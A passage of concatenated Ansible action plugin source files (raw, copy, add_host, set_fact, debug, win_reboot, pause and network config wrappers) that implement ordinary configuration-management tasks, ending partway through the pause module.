# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase


class ActionModule(ActionBase):
    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        if self._task.environment:
            self._display.warning('raw module does not support the environment keyword')

        result = super(ActionModule, self).run(tmp, task_vars)

        if self._play_context.check_mode:
            # in --check mode, always skip this module execution
            result['skipped'] = True
            return result

        executable = self._task.args.get('executable', False)
        result.update(self._low_level_execute_command(self._task.args.get('_raw_params'), executable=executable))

        result['changed'] = True

        return result






#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_template import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):

    def run(self, tmp=None, task_vars=None):
        src = self._task.args.get('src')

        if self._task.args.get('config_format') is None:
            if src.endswith('.xml'):
                fmt = 'xml'
            elif src.endswith('.set'):
                fmt = 'set'
            else:
                fmt = 'text'

            self._task.args['config_format'] = fmt

        if self._task.args.get('comment') is None:
            self._task.args['comment'] = self._task.name

        return super(ActionModule, self).run(tmp, task_vars)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import json
import os
import tempfile

from ansible.errors import AnsibleError
from ansible.plugins.action import ActionBase
from ansible.utils.boolean import boolean
from ansible.utils.hashing import checksum
from ansible.utils.unicode import to_bytes, to_str, to_unicode


class ActionModule(ActionBase):

    def run(self, tmp=None, task_vars=None):
        ''' handler for file transfer operations '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        source  = self._task.args.get('src', None)
        content = self._task.args.get('content', None)
        dest    = self._task.args.get('dest', None)
        raw     = boolean(self._task.args.get('raw', 'no'))
        force   = boolean(self._task.args.get('force', 'yes'))
        faf     = self._task.first_available_file
        remote_src = boolean(self._task.args.get('remote_src', False))
        follow  = boolean(self._task.args.get('follow', False))

        if (source is None and content is None and faf is None) or dest is None:
            result['failed'] = True
            result['msg'] = "src (or content) and dest are required"
            return result
        elif (source is not None or faf is not None) and content is not None:
            result['failed'] = True
            result['msg'] = "src and content are mutually exclusive"
            return result
        elif content is not None and dest is not None and dest.endswith("/"):
            result['failed'] = True
            result['msg'] = "dest must be a file if content is defined"
            return result

        # Check if the source ends with a "/"
        source_trailing_slash = False
        if source:
            source_trailing_slash = self._connection._shell.path_has_trailing_slash(source)

        # Define content_tempfile in case we set it after finding content populated.
        content_tempfile = None

        # If content is defined make a temp file and write the content into it.
        if content is not None:
            try:
                # If content comes to us as a dict it should be decoded json.
                # We need to encode it back into a string to write it out.
                if isinstance(content, dict) or isinstance(content, list):
                    content_tempfile = self._create_content_tempfile(json.dumps(content))
                else:
                    content_tempfile = self._create_content_tempfile(content)
                source = content_tempfile
            except Exception as err:
                result['failed'] = True
                result['msg'] = "could not write content temp file: %s" % to_str(err)
                return result

        # if we have first_available_file in our vars
        # look up the files and use the first one we find as src
        elif faf:
            source = self._get_first_available_file(faf, task_vars.get('_original_file', None))
        elif remote_src:
            result.update(self._execute_module(module_name='copy', module_args=self._task.args, task_vars=task_vars, delete_remote_tmp=False))
            return result
        else: # find in expected paths
            try:
                source = self._find_needle('files', source)
            except AnsibleError as e:
                result['failed'] = True
                result['msg'] = to_unicode(e)
                return result

        # A list of source file tuples (full_path, relative_path) which will try to copy to the destination
        source_files = []

        # If source is a directory populate our list else source is a file and translate it to a tuple.
        if os.path.isdir(to_bytes(source, errors='strict')):
            # Get the amount of spaces to remove to get the relative path.
            if source_trailing_slash:
                sz = len(source)
            else:
                sz = len(source.rsplit('/', 1)[0]) + 1

            # Walk the directory and append the file tuples to source_files.
            for base_path, sub_folders, files in os.walk(to_bytes(source)):
                for file in files:
                    full_path = os.path.join(base_path, file)
                    rel_path = full_path[sz:]
                    if rel_path.startswith('/'):
                        rel_path = rel_path[1:]
                    source_files.append((full_path, rel_path))

            # If it's recursive copy, destination is always a dir,
            # explicitly mark it so (note - copy module relies on this).
            if not self._connection._shell.path_has_trailing_slash(dest):
                dest = self._connection._shell.join_path(dest, '')
        else:
            source_files.append((source, os.path.basename(source)))

        changed = False
        module_return = dict(changed=False)

        # A register for if we executed a module.
        # Used to cut down on command calls when not recursive.
        module_executed = False

        # Tell _execute_module to delete the file if there is one file.
        delete_remote_tmp = (len(source_files) == 1)

        # If this is a recursive action create a tmp path that we can share as the _exec_module create is too late.
        remote_user = task_vars.get('ansible_ssh_user') or self._play_context.remote_user
        if not delete_remote_tmp:
            if tmp is None or "-tmp-" not in tmp:
                tmp = self._make_tmp_path(remote_user)
                self._cleanup_remote_tmp = True

        # expand any user home dir specifier
        dest = self._remote_expand_user(dest)

        diffs = []
        for source_full, source_rel in source_files:

            source_full = self._loader.get_real_file(source_full)

            # Generate a hash of the local file.
            local_checksum = checksum(source_full)

            # If local_checksum is not defined we can't find the file so we should fail out.
            if local_checksum is None:
                result['failed'] = True
                result['msg'] = "could not find src=%s" % source_full
                self._remove_tmp_path(tmp)
                return result

            # This is kind of optimization - if user told us destination is
            # dir, do path manipulation right away, otherwise we still check
            # for dest being a dir via remote call below.
            if self._connection._shell.path_has_trailing_slash(dest):
                dest_file = self._connection._shell.join_path(dest, source_rel)
            else:
                dest_file = self._connection._shell.join_path(dest)

            # Attempt to get remote file info
            dest_status = self._execute_remote_stat(dest_file, all_vars=task_vars, follow=follow, tmp=tmp)

            if dest_status['exists'] and dest_status['isdir']:
                # The dest is a directory.
                if content is not None:
                    # If source was defined as content remove the temporary file and fail out.
                    self._remove_tempfile_if_content_defined(content, content_tempfile)
                    self._remove_tmp_path(tmp)
                    result['failed'] = True
                    result['msg'] = "can not use content with a dir as dest"
                    return result
                else:
                    # Append the relative source location to the destination and get remote stats again
                    dest_file = self._connection._shell.join_path(dest, source_rel)
                    dest_status = self._execute_remote_stat(dest_file, all_vars=task_vars, follow=follow, tmp=tmp)

            if dest_status['exists'] and not force:
                # remote_file does not exist so continue to next iteration.
                continue

            if local_checksum != dest_status['checksum']:
                # The checksums don't match and we will change or error out.
                changed = True

                # Create a tmp path if missing only if this is not recursive.
                # If this is recursive we already have a tmp path.
                if delete_remote_tmp:
                    if tmp is None or "-tmp-" not in tmp:
                        tmp = self._make_tmp_path(remote_user)
                        self._cleanup_remote_tmp = True

                if self._play_context.diff and not raw:
                    diffs.append(self._get_diff_data(dest_file, source_full, task_vars))

                if self._play_context.check_mode:
                    self._remove_tempfile_if_content_defined(content, content_tempfile)
                    changed = True
                    module_return = dict(changed=True)
                    continue

                # Define a remote directory that we will copy the file to.
                tmp_src = self._connection._shell.join_path(tmp, 'source')

                remote_path = None

                if not raw:
                    remote_path = self._transfer_file(source_full, tmp_src)
                else:
                    self._transfer_file(source_full, dest_file)

                # We have copied the file remotely and no longer require our content_tempfile
                self._remove_tempfile_if_content_defined(content, content_tempfile)
                self._loader.cleanup_tmp_file(source_full)

                # fix file permissions when the copy is done as a different user
                if remote_path:
                    self._fixup_perms((tmp, remote_path), remote_user)

                if raw:
                    # Continue to next iteration if raw is defined.
                    continue

                # Run the copy module

                # src and dest here come after original and override them
                # we pass dest only to make sure it includes trailing slash in case of recursive copy
                new_module_args = self._task.args.copy()
                new_module_args.update(
                    dict(
                        src=tmp_src,
                        dest=dest,
                        original_basename=source_rel,
                    )
                )
                if 'content' in new_module_args:
                    del new_module_args['content']

                module_return = self._execute_module(module_name='copy', module_args=new_module_args, task_vars=task_vars, tmp=tmp, delete_remote_tmp=delete_remote_tmp)
                module_executed = True

            else:
                # no need to transfer the file, already correct hash, but still need to call
                # the file module in case we want to change attributes
                self._remove_tempfile_if_content_defined(content, content_tempfile)
                self._loader.cleanup_tmp_file(source_full)

                if raw:
                    # Continue to next iteration if raw is defined.
                    self._remove_tmp_path(tmp)
                    continue

                # Build temporary module_args.
                new_module_args = self._task.args.copy()
                new_module_args.update(
                    dict(
                        src=source_rel,
                        dest=dest,
                        original_basename=source_rel
                    )
                )

                # Execute the file module.
                module_return = self._execute_module(module_name='file', module_args=new_module_args, task_vars=task_vars, tmp=tmp, delete_remote_tmp=delete_remote_tmp)
                module_executed = True

            if not module_return.get('checksum'):
                module_return['checksum'] = local_checksum
            if module_return.get('failed'):
                result.update(module_return)
                if not delete_remote_tmp:
                    self._remove_tmp_path(tmp)
                return result
            if module_return.get('changed'):
                changed = True

            # the file module returns the file path as 'path', but
            # the copy module uses 'dest', so add it if it's not there
            if 'path' in module_return and 'dest' not in module_return:
                module_return['dest'] = module_return['path']

        # Delete tmp path if we were recursive or if we did not execute a module.
        if not delete_remote_tmp or (delete_remote_tmp and not module_executed):
            self._remove_tmp_path(tmp)

        if module_executed and len(source_files) == 1:
            result.update(module_return)
        else:
            result.update(dict(dest=dest, src=source, changed=changed))

        if diffs:
            result['diff'] = diffs

        return result

    def _create_content_tempfile(self, content):
        ''' Create a tempfile containing defined content '''
        fd, content_tempfile = tempfile.mkstemp()
        f = os.fdopen(fd, 'wb')
        content = to_bytes(content)
        try:
            f.write(content)
        except Exception as err:
            os.remove(content_tempfile)
            raise Exception(err)
        finally:
            f.close()
        return content_tempfile

    def _remove_tempfile_if_content_defined(self, content, content_tempfile):
        if content is not None:
            os.remove(content_tempfile)






#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_config import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):
    pass








# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
# Copyright 2012, Seth Vidal <skvidal@fedoraproject.org>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import string_types

from ansible.plugins.action import ActionBase
from ansible.parsing.utils.addresses import parse_address
from ansible.errors import AnsibleError

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class ActionModule(ActionBase):
    ''' Create inventory hosts and groups in the memory inventory'''

    # We need to be able to modify the inventory
    BYPASS_HOST_LOOP = True
    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        if self._play_context.check_mode:
            result['skipped'] = True
            result['msg'] = 'check mode not supported for this module'
            return result

        # Parse out any hostname:port patterns
        new_name = self._task.args.get('name', self._task.args.get('hostname', None))
        display.vv("creating host via 'add_host': hostname=%s" % new_name)

        try:
            name, port = parse_address(new_name, allow_ranges=False)
        except:
            # not a parsable hostname, but might still be usable
            name = new_name
            port = None

        if port:
            self._task.args['ansible_ssh_port'] = port

        groups = self._task.args.get('groupname', self._task.args.get('groups', self._task.args.get('group', '')))
        # add it to the group if that was specified
        new_groups = []
        if groups:
            if isinstance(groups, list):
               group_list = groups
            elif isinstance(groups, string_types):
               group_list = groups.split(",")
            else:
               raise AnsibleError("Groups must be specfied as a list.", obj=self._task)

            for group_name in group_list:
                if group_name not in new_groups:
                    new_groups.append(group_name.strip())

        # Add any variables to the new_host
        host_vars = dict()
        special_args = frozenset(('name', 'hostname', 'groupname', 'groups'))
        for k in self._task.args.keys():
            if k not in special_args:
                host_vars[k] = self._task.args[k]

        result['changed'] = True
        result['add_host'] = dict(host_name=name, groups=new_groups, host_vars=host_vars)
        return result






#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_template import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):
    pass






#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_template import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):
    pass








# Copyright 2013 Dag Wieers <dag@wieers.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import iteritems, string_types

from ansible.plugins.action import ActionBase
from ansible.utils.boolean import boolean
from ansible.utils.vars import isidentifier

class ActionModule(ActionBase):

    TRANSFERS_FILES = False

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        facts = dict()
        if self._task.args:
            for (k, v) in iteritems(self._task.args):
                k = self._templar.template(k)

                if not isidentifier(k):
                    result['failed'] = True
                    result['msg'] = "The variable name '%s' is not valid. Variables must start with a letter or underscore character, and contain only letters, numbers and underscores." % k
                    return result

                if isinstance(v, string_types) and v.lower() in ('true', 'false', 'yes', 'no'):
                    v = boolean(v)
                facts[k] = v

        result['changed'] = False
        result['ansible_facts'] = facts
        return result






# Copyright 2012, Dag Wieers <dag@wieers.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.utils.unicode import to_unicode
from ansible.errors import AnsibleUndefinedVariable

class ActionModule(ActionBase):
    ''' Print statements during execution '''

    TRANSFERS_FILES = False
    VALID_ARGS = set(['msg', 'var', 'verbosity'])

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        for arg in self._task.args:
            if arg not in self.VALID_ARGS:
                return {"failed": True, "msg": "'%s' is not a valid option in debug" % arg}

        if 'msg' in self._task.args and 'var' in self._task.args:
            return {"failed": True, "msg": "'msg' and 'var' are incompatible options"}

        result = super(ActionModule, self).run(tmp, task_vars)

        verbosity = 0
        # get task verbosity
        if 'verbosity' in self._task.args:
            verbosity = int(self._task.args['verbosity'])

        if verbosity <= self._display.verbosity:
            if 'msg' in self._task.args:
                result['msg'] = self._task.args['msg']

            elif 'var' in self._task.args:
                try:
                    results = self._templar.template(self._task.args['var'], convert_bare=True, fail_on_undefined=True, bare_deprecated=False)
                    if results == self._task.args['var']:
                        # if results is not str/unicode type, raise an exception
                        if type(results) not in [str, unicode]:
                            raise AnsibleUndefinedVariable
                        # If var name is same as result, try to template it
                        results = self._templar.template("{{" + results + "}}", convert_bare=True, fail_on_undefined=True)
                except AnsibleUndefinedVariable:
                    results = "VARIABLE IS NOT DEFINED!"

                if type(self._task.args['var']) in (list, dict):
                    # If var is a list or dict, use the type as key to display
                    result[to_unicode(type(self._task.args['var']))] = results
                else:
                    result[self._task.args['var']] = results
            else:
                result['msg'] = 'Hello world!'

            # force flag to make debug output module always verbose
            result['_ansible_verbose_always'] = True
        else:
            result['skipped_reason'] = "Verbosity threshold not met."
            result['skipped'] = True

        return result






#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_template import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):
    pass






# (c) 2016, Matt Davis <mdavis@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# CI-required python3 boilerplate
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.utils.boolean import boolean
from ansible.utils.unicode import to_unicode
from ansible.errors import AnsibleUndefinedVariable

import socket
import time
import traceback

from datetime import datetime, timedelta

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class TimedOutException(Exception):
    pass

class ActionModule(ActionBase):
    TRANSFERS_FILES = False

    DEFAULT_SHUTDOWN_TIMEOUT_SEC = 600
    DEFAULT_REBOOT_TIMEOUT_SEC = 600
    DEFAULT_CONNECT_TIMEOUT_SEC = 5
    DEFAULT_PRE_REBOOT_DELAY_SEC = 2
    DEFAULT_TEST_COMMAND = 'whoami'

    def do_until_success_or_timeout(self, what, timeout_sec, what_desc, fail_sleep_sec=1):
        max_end_time = datetime.utcnow() + timedelta(seconds=timeout_sec)
        
        while datetime.utcnow() < max_end_time:
            try:
                what()
                if what_desc:
                    display.debug("win_reboot: %s success" % what_desc)
                return
            except:
                if what_desc:
                    display.debug("win_reboot: %s fail (expected), sleeping before retry..." % what_desc)
                time.sleep(fail_sleep_sec)

        raise TimedOutException("timed out waiting for %s" % what_desc)

    def run(self, tmp=None, task_vars=None):
        if task_vars is None:
            task_vars = dict()

        shutdown_timeout_sec = int(self._task.args.get('shutdown_timeout_sec', self.DEFAULT_SHUTDOWN_TIMEOUT_SEC))
        reboot_timeout_sec = int(self._task.args.get('reboot_timeout_sec', self.DEFAULT_REBOOT_TIMEOUT_SEC))
        connect_timeout_sec = int(self._task.args.get('connect_timeout_sec', self.DEFAULT_CONNECT_TIMEOUT_SEC))
        pre_reboot_delay_sec = int(self._task.args.get('pre_reboot_delay_sec', self.DEFAULT_PRE_REBOOT_DELAY_SEC))
        test_command = self._task.args.get('test_command', self.DEFAULT_TEST_COMMAND)

        if self._play_context.check_mode:
            display.vvv("win_reboot: skipping for check_mode")
            return dict(skipped=True)

        winrm_host = self._connection._winrm_host
        winrm_port = self._connection._winrm_port

        result = super(ActionModule, self).run(tmp, task_vars)
        
        # initiate reboot
        (rc, stdout, stderr) = self._connection.exec_command("shutdown /r /t %d" % pre_reboot_delay_sec)

        if rc != 0:
            result['failed'] = True
            result['rebooted'] = False
            result['msg'] = "Shutdown command failed, error text was %s" % stderr
            return result

        def raise_if_port_open(): 
            try:
                sock = socket.create_connection((winrm_host, winrm_port), connect_timeout_sec)
                sock.close()
            except:
                return False

            raise Exception("port is open")

        try:
            self.do_until_success_or_timeout(raise_if_port_open, shutdown_timeout_sec, what_desc="winrm port down")

            def connect_winrm_port():
                sock = socket.create_connection((winrm_host, winrm_port), connect_timeout_sec)
                sock.close()

            self.do_until_success_or_timeout(connect_winrm_port, reboot_timeout_sec, what_desc="winrm port up")

            def run_test_command():
                display.vvv("attempting post-reboot test command '%s'" % test_command)
                # call connection reset between runs if it's there
                try:
                    self._connection._reset()
                except AttributeError:
                    pass

                (rc, stdout, stderr) = self._connection.exec_command(test_command)

                if rc != 0:
                    raise Exception('test command failed')

            # FUTURE: ensure that a reboot has actually occurred by watching for change in last boot time fact
            # FUTURE: add a stability check (system must remain up for N seconds) to deal with self-multi-reboot updates

            self.do_until_success_or_timeout(run_test_command, reboot_timeout_sec, what_desc="post-reboot test command success")

            result['rebooted'] = True
            result['changed'] = True

        except TimedOutException as toex:
            result['failed'] = True
            result['rebooted'] = True
            result['msg'] = toex.message

        return result







#
# Copyright 2015 Peter Sprygada <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import json

from ansible.compat.six import string_types
from ansible.plugins.action import ActionBase
from ansible.plugins.action.net_template import ActionModule as NetActionModule

class ActionModule(NetActionModule, ActionBase):

    def run(self, tmp=None, task_vars=None):
        if self._connection.transport == 'local':
            return super(ActionModule, self).run(tmp, task_vars)

        result = dict(changed=False)

        if isinstance(self._task.args['src'], string_types):
            self._handle_template()

        result.update(self._execute_module(module_name=self._task.action,
            module_args=self._task.args, task_vars=task_vars))

        if self._task.args.get('backup') and result.get('_backup'):
            contents = json.dumps(result['_backup'], indent=4)
            self._write_backup(task_vars['inventory_hostname'], contents)

        if '_backup' in result:
            del result['_backup']

        return result








# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.action import ActionBase
from ansible.plugins.action.template import ActionModule as TemplateActionModule


# Even though TemplateActionModule inherits from ActionBase, we still need to
# directly inherit from ActionBase to appease the plugin loader.
class ActionModule(TemplateActionModule, ActionBase):
    pass






# Copyright 2012, Tim Bielawa <tbielawa@redhat.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import datetime
import signal
import termios
import time
import tty

from os import isatty
from ansible.errors import AnsibleError
from ansible.plugins.action import ActionBase

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class AnsibleTimeoutExceeded(Exception):
    pass


def timeout_handler(signum, frame):
    raise AnsibleTimeoutExceeded


class ActionModule(ActionBase):
    ''' pauses execution for a length or time, or until input is received '''

    PAUSE_TYPES = ['seconds', 'minutes', 'prompt', '']
    BYPASS_HOST_LOOP = True

    def run(self, tmp=None, task_vars=None):
        ''' run the pause action module '''
        if task_vars is None:
            task_vars = dict()

        result = super(ActionModule, self).run(tmp, task_vars)

        duration_unit = 'minutes'
        prompt = None
        seconds = None
        result.update(dict(
            changed = False,
            rc      = 0,
            stderr  = '',
            stdout  = '',
            start   = None,
            stop    = None,
            delta   = None,
        ))

        # Is 'args' empty, then this is the default prompted pause
        if self._task.args is None or len(self._task.args.keys()) == 0:
            prompt = "[%s]\nPress enter to continue:" % self._task.get_name().strip()

        # Are 'minutes' or 'seconds' keys that exist in 'args'?
        elif 'minutes' in self._task.args or 'seconds' in self._task.args:
            try:
                if 'minutes' in self._task.args:
                    # The time() command operates in seconds so we need to
                    # recalculate for minutes=X values.
                    seconds = int(self._task.args['minutes']) * 60
                else:
                    seconds = int(self._task.args['seconds'])
                    duration_unit = 'seconds'

            except ValueError as e:
                result['failed'] = True
                result['msg'] = "non-integer value given for prompt duration:\n%s" % str(e)
                return result

        # Is 'prompt' a key in 'args'?
        elif 'prompt' in self._task.args:
            prompt = "[%s]\n%s:" % (self._task.get_name().strip(), self._task.args['prompt'])

        else:
            # I have no idea what you're trying to do. But it's so wrong.
            result['failed'] = True
            result['msg'] = "invalid pause type given. must be one of: %s" % ", ".join(self.PAUSE_TYPES)
            return result

        ########################################################################
        # Begin the hard work!

        start = time.time()
        result['start'] = str(datetime.datetime.now())
        result['user_input'] = ''

        fd = None
        old_settings = None
        try:
            if seconds is not None:
                if seconds < 1:
                    seconds = 1
                # setup the alarm handler
                signal.signal(signal.SIGALRM, timeout_handler)
                signal.alarm(seconds)
                # show the prompt
                display.display("Pausing for %d seconds" % seconds)
                display.display("(ctrl+C then 'C' = continue early, ctrl+C then 'A' = abort)\r"),
            else:
                display.display(prompt)

            # save the attributes on the existing (duped) stdin so
            # that we can restore them later after we set raw mode
            fd = None
            try:
                fd = self._connection._new_stdin.fileno()
            except ValueError:
                # someone is using a closed file descriptor as stdin
                pass
            if fd is not None:
                if isatty(fd):
                    old_settings = termios.tcgetattr(fd)
                    tty.setraw(fd)

                    # flush the buffer to make sure no previous key presses
                    # are read in below
                    termios.tcflush(self._connection._new_stdin, termios.TCIFLUSH)
            while True:
                try:
                    if fd is not None:
                        key_pressed = self._connection._new_stdin.read(1)
                        if key_pressed == '\x03':
                            raise KeyboardInterrupt

                    if not seconds:
                        if fd is None or not isatty(fd):
                            display.warning("Not waiting from prompt as stdin is not interactive")
                            break
                        # read key presses and act accordingly
                        if key_pressed == '\r':
                            break
                        else:
                            result['user_input'] += key_pressed

                except KeyboardInterrupt:
                    if seconds is not None:
                        signal.alarm(0)
                    display.display("Press 'C' to continue the play or 'A' to abort \r"),
                    if self._c_or_a():
                        break
                    else:
                        raise AnsibleError('user requested abort!')


        except AnsibleTimeoutExceeded:
